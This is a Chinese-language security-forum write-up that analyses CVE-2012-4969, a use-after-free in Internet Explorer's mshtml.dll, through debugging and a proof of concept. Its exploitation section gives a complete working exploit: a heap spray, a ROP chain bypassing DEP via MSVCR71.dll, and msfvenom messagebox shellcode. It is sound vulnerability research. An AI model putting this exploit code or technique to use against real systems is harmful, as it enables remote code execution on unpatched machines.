查看原文
其他

UAF之CVE-2012-4969漏洞分析

mb_uvhwamsn 看雪学院 2021-05-14
本文为看雪论坛精华文章
看雪论坛作者ID:mb_uvhwamsn




一、漏洞信息




1. 漏洞简述


漏洞编号:CVE-2012-4969

漏洞类型:UAF

漏洞影响:远程代码执行

CVSS分数:9.3

概述:mshtml.dll的CMshtmlEd :: Exec()函数将CMshtmlEd对象释放后,又再次使用相同的内存,从而导致释放后使用的情况。

2. 漏洞影响


Internet Explorer 6 至 9

3. 解决方案


MS12-063
http://go.microsoft.com/fwlink/?linkid=255505


二、漏洞复现




1. 环境搭建


* 靶机环境版本
win7 sp1 x86

* 靶机配置

IE 8

2. 复现过程


使用metastploit模块
https://www.rapid7.com/db/modules/exploit/windows/browser/ie_execcommand_uaf/

获取poc1,LLmya.html:
<html><body> <script> var arrr = new Array(); arrr[0] = window.document.createElement("img"); arrr[0]["src"] = "E";</script> <iframe src="./UGuQTe.html"></iframe></body></html>

poc2,UGuQTe.html,两个文件保存在同一个目录下。
<HTML> <script> function funcB() { document.execCommand("selectAll"); }; function funcA() { document.write("O"); parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH"; }</script> <body onload='funcB();' onselect='funcA()'> <div contenteditable='true'> a </div> </body></HTML>

运行程序poc1,触发漏洞。



三、漏洞分析




1. 基本信息


漏洞文件:mshtml.dll

漏洞函数:mshtml!CMshtmlEd::Exec

漏洞对象:CMshtmlEd


2. 详细分析


(1) 漏洞函数分析


设置hpa,ust堆调试属性,使用windbg调试IE浏览器,执行poc1,漏洞触发。


查看edi的值:


查看函数调用堆栈:


IDA中反汇编函数CMshtmlEd::Exec,由于win7中打开了ASLR,所以只能靠地址的后两个字节定位漏洞触发点68b8503e。

这里是edi地址引用错误,在函数中往前查看edi的赋值情况,edi只有一次赋值且为this指针(不排除中间函数更改edi的可能,需要动态调试验证)


在CMshtmlEd::Exec设置断点,单步执行查看edi的变化情况。
bp mshtml!CMshtmlEd::Exec

edi第一次赋值,查看堆的结构,得知edi指向CMshtmlEd实例的虚表。



继续执行到触发异常点,edi还是指向同一个地方,但是!heap -p -a edi已经没有输出了,说明edi指向的堆已经不存在,大概率为释放后重利用漏洞。


下一步查看CMshtmlEd实例的释放过程,先找到与CMshtmlEd类有关的函数。
x mshtml!CmshtmlEd::*


重点关注的函数:
CMshtmlEd::ReleaseCMshtmlEd::~CMshtmlE

不过析构函数一般是与free一起调用的,查看CMshtmlEd::~CMshtmlEd,发现由CMshtmlEd::Release调用,查看release,有一处跳转执行free,所以就在CMshtmlEd::Release下断点。



0:005> bp mshtml!CMshtmlEd::Exec //漏洞函数0:005> g0:005> bp mshtml!CMshtmlEd::Release

运行到漏洞函数CMshtmlEd::Exec时设置CMshtmlEd::Release断点,第一次执行到Release函数没有跳转执行free,第二次执行时调用了free函数。



查看HeapFree函数的参数,第三个为this指针08178f78。


继续执行之后就触发了异常,同时edi也是08178f78,与被free掉的this指针相同,说明this指针在被释放后了又进行引用导致UAF漏洞。


那么,CMshtmlEd::Release的调用在漏洞函数CMshtmlEd::Exec哪里执行呢,查看CMshtmlEd::Exec,在漏洞触发点mov edi, dword ptr [edi+8]之前存在一个函数CCommand::Exec,需要使用edi指针,为什么执行之后就忽然edi指向的实例不存在了?


执行CCommamd::Exec之前查看edi。


执行之后,edi指向的this指针已经被free掉了,之后执行mov edi, dword ptr [edi+8],导致异常。


验证:执行到CMshtmlEd::Exec时下断点mshtml!CMshtmlEd::Release和mshtml!CCommand::Exec,程序先后在CCommand::Exec和CMshtmlEd::Release断下,并执行了Heapfree函数,说明CCommand::Exec中释放了this指针。

(2) POC分析


windbg结合JavaScript调试,确定poc何处引发漏洞。

查看CMshtmlEd实例的构造和释放过程,在IDA中查看CMshtmlEd::CMshtmlEd的引用函数AddCommandTarget和GetCommandTarget,都在分配了堆之后调用了CMshtmlEd的构造函数,所以关注构造函数就能直到堆的引用过程。
 
* AddCommandTarget函数
 

* GetCommandTarget函数
 

在构造函数和release函数下断点:
bp mshtml!CMshtmlEd::CMshtmlEdbp mshtml!CMshtmlEd::Release

执行funcB()时命中构造函数,查看函数参数this指针,这里由edx保存,堆为bb9af78。


继续执行第二次命中构造函数,创建堆9e52f78。


之后命中release,没有调用heapfree,然后执行funcA()


命中release,没有调用heapfree,又一次命中release,可以看到这里释放的堆为9e52f78。


然后引发了一个奇怪的异常,可能是由于JavaScript调试导致。


不过可以确定时funcA()引起的,write常常会触发对象释放,后面对arrr[0].src赋值是一个占位动作。



四、漏洞利用




1. 利用环境


* win7 sp1 x86

* jdk1.6,其中MSVCR71.dll模块没有开启ASLR。

* kali2.0


2. 利用过程


在CMshtmlEd对象被释放后,继续调用了vtable中的 [vtable + 8]函数,如果能够构造个虚假的地址将vtable占位,即可试下uaf利用。poc中parent.arrr[0]赋值实现了占位,程序,虚表指针edi+8指向了0c0c0c08。
 


接着运行程序,调用了[[edi]+8],我们要向控制0c0c0c08处写入ROP和shellcode。
 

Heap Spray,利用JavaScript String对象在内存中申请大量的堆块,堆一直占用直到地址0c0c0c0c,同时每一个分配的堆块结构sildecode+shellcode,sildecode为nop等滑板指令,劫持程序执行流到任何一个堆块(本例为0c0c0c0c)中都能够执行shellcode,在win7等开启了DEP和ASLR的系统,要构造ROP调用VirtualProtect以关闭dep,而且ROP位置要精准。
 
为了实现shellcode精准到内存中指定位置:堆的大小和内部结构要非常精确,可以使用js的heaplib库,本次分析使用手动构造堆块。堆块进行分配的时候,因为堆块对齐,低4位10000大小的地址不会变化。

举个例子,如果一个堆分配的低4位地址002c,那么其他堆的低位同为002c,只要以0x1000为单位进行构造堆块,那每个块结构机制都可轻易确定,如下图,low_offset固定,但high_offset不一定相同,当然每个shellcode块之间不能有空隙,不然会执行到0000的空隙字符。
 

堆喷射代码,block结构,filler填充0020到0c0c到的内存,nop继续填充满1000字节。


分配200MB的block,4字节bstr头适应js的string对象,最后以2个字节结尾。


<html><body> <script> var arrr = new Array(); arrr[0] = window.document.createElement("img"); arrr[0]["src"] = "E"; function alloc(len, str) { while (str.length < len) str += str; return str.substr(0, (len - 6) / 2); } var block_size = 0x1000 / 2; //一页大小 var offset = (0x0c0c - 0x0020 - 4) / 2; // shellcode在块中的偏移 var filler = unescape("%u0c0c"); while (filler.length < offset) { filler += filler; } filler = filler.substring(0, offset); var shellcode = unescape("%u7546%u7a7a%u5379" + "%u6365%u7275%u7469" + "%u9079");// FuzzySecurity的ascii,仅仅作为标识 var nop = unescape("%u9090"); for (i = 0; i < block_size; i++) { nop += unescape("%u9090"); } nop = nop.substring(0, block_size - shellcode.length - filler.length); var block = filler + shellcode + nop; block = alloc(0x100000-0x10, block); len_block = block.length; heap_chunks = new Array(); for (i = 0; i < 150; i++) { heap_chunks[i] = block.substr(0, block.length); }</script> <iframe src="../hpIpD0pjgv/UGuQTe.html"></iframe></body></html>

堆内存,90000为!peb的得到的进程堆基址,堆占用了99.46,每块大小为ffff0。


筛选大小为ffff0的堆块,可以看到每个堆块低位均为0020。


搜索shellcode "FuzzySecurity",可以看到每个shellcode间隔为1000,正好为我们构造的block,一部分内存已被block铺满,没有空隙。  
s -a 0x00000000 L?7fffffff "FuzzySecurity"


构造ROP
 
为了绕过win7的dep和ASLR,需要构造ROP调用VirtualProtect以关闭dep,win7浏览器会加载jdk1.6,其中有两个模块没有开启ASLR的模块,mona插件查询ROP。


自动生成ROP链,有问题需稍加修改,之后更改ROP以令程序执行call dword ptr [eax+8]时能够跳转到ROP,具体为迁移栈到0c0c0c0c。
!py mona rop -m "MSVCR71.dll, jp2ssv.dll" //rop chain generated with mona.py - www.corelan.bevar rop_gadgets = unescape( "%u5b4f%u7c36" + // 0x7c365b4f : ,# POP EBX # POP EBP # RET [MSVCR71.dll] "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx "%u8b05%u7c34" + // 0x7c348b05: ,# XCHG EAX,ESP # RETN "" + // #[---INFO:gadgets_to_set_ebp:---] : "%u6d28%u7c35" + // 0x7c356d28 : ,# POP EBP # RETN [MSVCR71.dll] "%u6d28%u7c35" + // 0x7c356d28 : ,# skip 4 bytes [MSVCR71.dll] "" + // #[---INFO:gadgets_to_set_ebx:---] : // "%u09cf%u7c36" + // 0x7c3609cf : ,# POP EBX # RETN [MSVCR71.dll] // "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx "" + // #[---INFO:gadgets_to_set_edx:---] : "%u4f8e%u7c34" + // 0x7c344f8e : ,# POP EDX # RETN [MSVCR71.dll] "%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx "" + // #[---INFO:gadgets_to_set_ecx:---] : "%u8ab2%u7c35" + // 0x7c358ab2 : ,# POP ECX # RETN [MSVCR71.dll] "%uf2a1%u7c38" + // 0x7c38f2a1 : ,# &Writable location [MSVCR71.dll] "" + // #[---INFO:gadgets_to_set_edi:---] : "%ue239%u7c36" + // 0x7c36e239 : ,# POP EDI # RETN [MSVCR71.dll] "%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll] "" + // #[---INFO:gadgets_to_set_esi:---] : "%uf8f8%u7c34" + // 0x7c34f8f8 : ,# POP ESI # RETN [MSVCR71.dll] "%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll] "%u6747%u7c37" + // 0x7c376747 : ,# POP EAX # RETN [MSVCR71.dll] "%ua151%u7c37" + // 0x7c37a140 : ,# ptr to &VirtualProtect() [IAT MSVCR71.dll] "" + // #[---INFO:pushad:---] : "%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll] "" + // #[---INFO:extras:---] : "%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]"");

kali生成shellcode,以js小端序输出。
kali@kali:~$ msfvenom -p windows/messagebox -f js_le[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload[-] No arch selected, selecting arch: x86 from the payloadNo encoder specified, outputting raw payloadPayload size: 272 bytesFinal size of js_le file: 816 bytes%uebd9%ud99b%u2474%u31f4%ub2d2%u3177%u64c9%u718b%u8b30%u0c76%u768b%u8b1c%u0846%u7e8b%u8b20%u3836%u184f%uf375%u0159%uffd1%u60e1%u6c8b%u2424%u458b%u8b3c%u2854%u0178%u8bea%u184a%u5a8b%u0120%ue3eb%u4934%u348b%u018b%u31ee%u31ff%ufcc0%u84ac%u74c0%uc107%u0dcf%uc701%uf4eb%u7c3b%u2824%ue175%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u89e8%u2444%u611c%ub2c3%u2908%u89d4%u89e5%u68c2%u4e8e%uec0e%ue852%uff9f%uffff%u4589%ubb04%ud87e%u73e2%u1c87%u5224%u8ee8%uffff%u89ff%u0845%u6c68%u206c%u6841%u3233%u642e%u7568%u6573%u3072%u88db%u245c%u890a%u56e6%u55ff%u8904%u50c2%ua8bb%u4da2%u87bc%u241c%ue852%uff5f%uffff%u6f68%u5878%u6820%u6761%u4265%u4d68%u7365%u3173%u88db%u245c%u890a%u68e3%u2058%u2020%u4d68%u4653%u6821%u6f72%u206d%u6f68%u202c%u6866%u6548%u6c6c%uc931%u4c88%u1024%ue189%ud231%u5352%u5251%ud0ff%uc031%uff50%u0855

最终exploit:
<html><body> <script> var arrr = new Array(); arrr[0] = window.document.createElement("img"); arrr[0]["src"] = "E"; function alloc(len, str) { while (str.length < len) str += str; return str.substr(0, (len - 6) / 2); } var block_size = 0x1000 / 2; //一页大小 var offset = (0x0c0c - 0x0020 - 4) / 2; var filler = unescape("%u0c0c"); while (filler.length < offset) { filler += filler; } filler = filler.substring(0, offset); // msfvenom -p windows/messagebox -f js_le var shellcode = unescape("%uebd9%ud99b%u2474%u31f4%ub2d2%u3177%u64c9%u718b%u8b30%u0c76%u768b%u8b1c%u0846%u7e8b%u8b20%u3836%u184f%uf375%u0159%uffd1%u60e1%u6c8b%u2424%u458b%u8b3c%u2854%u0178%u8bea%u184a%u5a8b%u0120%ue3eb%u4934%u348b%u018b%u31ee%u31ff%ufcc0%u84ac%u74c0%uc107%u0dcf%uc701%uf4eb%u7c3b%u2824%ue175%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u89e8%u2444%u611c%ub2c3%u2908%u89d4%u89e5%u68c2%u4e8e%uec0e%ue852%uff9f%uffff%u4589%ubb04%ud87e%u73e2%u1c87%u5224%u8ee8%uffff%u89ff%u0845%u6c68%u206c%u6841%u3233%u642e%u7568%u6573%u3072%u88db%u245c%u890a%u56e6%u55ff%u8904%u50c2%ua8bb%u4da2%u87bc%u241c%ue852%uff5f%uffff%u6f68%u5878%u6820%u6761%u4265%u4d68%u7365%u3173%u88db%u245c%u890a%u68e3%u2058%u2020%u4d68%u4653%u6821%u6f72%u206d%u6f68%u202c%u6866%u6548%u6c6c%uc931%u4c88%u1024%ue189%ud231%u5352%u5251%ud0ff%uc031%uff50%u0855"); //rop chain generated with mona.py - www.corelan.be var rop_gadgets = unescape( "%u5b4f%u7c36" + // 0x7c365b4f : ,# POP EBX # POP EBP # RET [MSVCR71.dll] "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx "%u8b05%u7c34" + // 0x7c348b05: ,# XCHG EAX,ESP # RETN "" + // #[---INFO:gadgets_to_set_ebp:---] : "%u6d28%u7c35" + // 0x7c356d28 : ,# POP EBP # RETN [MSVCR71.dll] "%u6d28%u7c35" + // 0x7c356d28 : ,# skip 4 bytes [MSVCR71.dll] "" + // #[---INFO:gadgets_to_set_ebx:---] : // "%u09cf%u7c36" + // 0x7c3609cf : ,# POP EBX # RETN [MSVCR71.dll] // "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx "" + // #[---INFO:gadgets_to_set_edx:---] : "%u4f8e%u7c34" + // 0x7c344f8e : ,# POP EDX # RETN [MSVCR71.dll] "%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx "" + // #[---INFO:gadgets_to_set_ecx:---] : "%u8ab2%u7c35" + // 0x7c358ab2 : ,# POP ECX # RETN [MSVCR71.dll] "%uf2a1%u7c38" + // 0x7c38f2a1 : ,# &Writable location [MSVCR71.dll] "" + // #[---INFO:gadgets_to_set_edi:---] : "%ue239%u7c36" + // 0x7c36e239 : ,# POP EDI # RETN [MSVCR71.dll] "%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll] "" + // #[---INFO:gadgets_to_set_esi:---] : "%uf8f8%u7c34" + // 0x7c34f8f8 : ,# POP ESI # RETN [MSVCR71.dll] "%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll] "%u6747%u7c37" + // 0x7c376747 : ,# POP EAX # RETN [MSVCR71.dll] "%ua151%u7c37" + // 0x7c37a140 : ,# ptr to &VirtualProtect() [IAT MSVCR71.dll] "" + // #[---INFO:pushad:---] : "%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll] "" + // #[---INFO:extras:---] : "%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll] ""); var nop = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090"); rop_gadgets += nop; for (i = 0; i < block_size; i++) nop += unescape("%u9090"); nop = nop.substring(0, block_size - rop_gadgets.length - shellcode.length - filler.length); var block = filler + rop_gadgets + shellcode + nop; block = alloc(0xfffe0, block);//1MB堆内存 len_block = block.length; heap_chunks = new Array(); for (i = 0; i < 150; i++) heap_chunks[i] = block.substr(0, block.length); </script> <iframe src="../hpIpD0pjgv/UGuQTe.html"></iframe></body></html>



五、参考文献




1. https://www.anquanke.com/post/id/85592

2. https://www.52pojie.cn/thread-596064-1-1.html

3. https://blog.csdn.net/qs_hud/article/details/9821735

 




看雪ID:mb_uvhwamsn

https://bbs.pediy.com/user-home-913279.htm

  *本文由看雪论坛 mb_uvhwamsn  原创,转载请注明来自看雪社区。



《安卓高级研修班》2021年6月班火热招生中!



# 往期推荐





公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存